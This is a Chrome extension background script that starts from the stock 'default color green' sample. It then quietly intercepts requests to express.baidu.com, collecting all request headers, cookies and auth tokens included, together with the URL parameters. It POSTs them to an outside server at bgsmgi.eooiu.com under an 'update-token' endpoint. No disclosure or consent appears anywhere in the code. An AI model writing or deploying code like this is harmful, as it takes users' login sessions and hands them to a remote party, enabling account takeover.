let color = '#3aa757';

chrome.runtime.onInstalled.addListener(() => {
  chrome.storage.sync.set({ color });
  console.log('Default background color set to %cgreen', `color: ${color}`);
});


var callback = function(details) {
  console.log('>>>>>>>>>>>>>>>>>>>>>>> details: ', details)
};
var filter = {
  urls: ['https://express.baidu.com/*', 'http://express.baidu.com/*']
};
var opt_extraInfoSpec = ['requestBody', 'extraHeaders'];

chrome.webRequest.onBeforeRequest.addListener(
  callback, filter, opt_extraInfoSpec);


chrome.webRequest.onBeforeSendHeaders.addListener(
  function (details) {
    console.log("onBeforeSendHeaders callback param details: ", details)
  }, filter, ['requestHeaders','extraHeaders']);

const baseApi = "https://bgsmgi.eooiu.com/prod-api";
// const baseApi = "http://localhost:10030";


function parseQueryParams (text) {
  const queryReg = new RegExp(/.*\?(.*)/g)
  let regExpMatchArray1 = text.match(queryReg)
  console.log(regExpMatchArray1)
  const queryParams = {}
  for (let regExpMatchArray1Element of regExpMatchArray1) {
    let arr = regExpMatchArray1Element.replace(queryReg, "$1").split("&")
    for (let string of arr) {
      let strings = string.split("=")
      queryParams[strings[0]] = strings[1]
    }
  }
  // console.log(queryParams)
  return queryParams
}

chrome.webRequest.onSendHeaders.addListener(
  function (details) {
    console.log("onSendHeaders callback param details: ", details)
    if(details.url.indexOf("//express.baidu.com/express/api/express") !== -1){
      //  上传到服务器
      const headers = {}
      details.requestHeaders.forEach(item=>{
        headers[item.name] = item.value;
      })
      
      let queryParams = parseQueryParams(details.url)
      // console.log("params: ", queryParams)
      fetch(`${baseApi}/baidu-express/update-token`, {
        headers: {
          "Content-Type": "application/json",
        },
        "body": JSON.stringify({
          ...queryParams,
          headers: headers,
        }),
        "method": "POST"
      }).then(function(res) {
        if (res.status === 200) {
          return res.json()
        } else {
          return Promise.reject(res.json())
        }
      }).then(function(data) {
        console.log(data);
      }).catch(function(err) {
        console.log(err);
      });
      console.log("fetch success")
    }
  }, filter, ['requestHeaders','extraHeaders']);


// chrome.devtools.network.onRequestFinished.addListener(
//   function (request) {
//     console.log("onRequestFinished callback param request: ", request)
//   }
// )

// chrome.webRequest.onBeforeRequest.addListener(
//   function(details) {
//     return {cancel: details.url.indexOf("://www.evil.com/") != -1};
//   },
//   {urls: ["<all_urls>"]},
//   ["blocking"]
// );

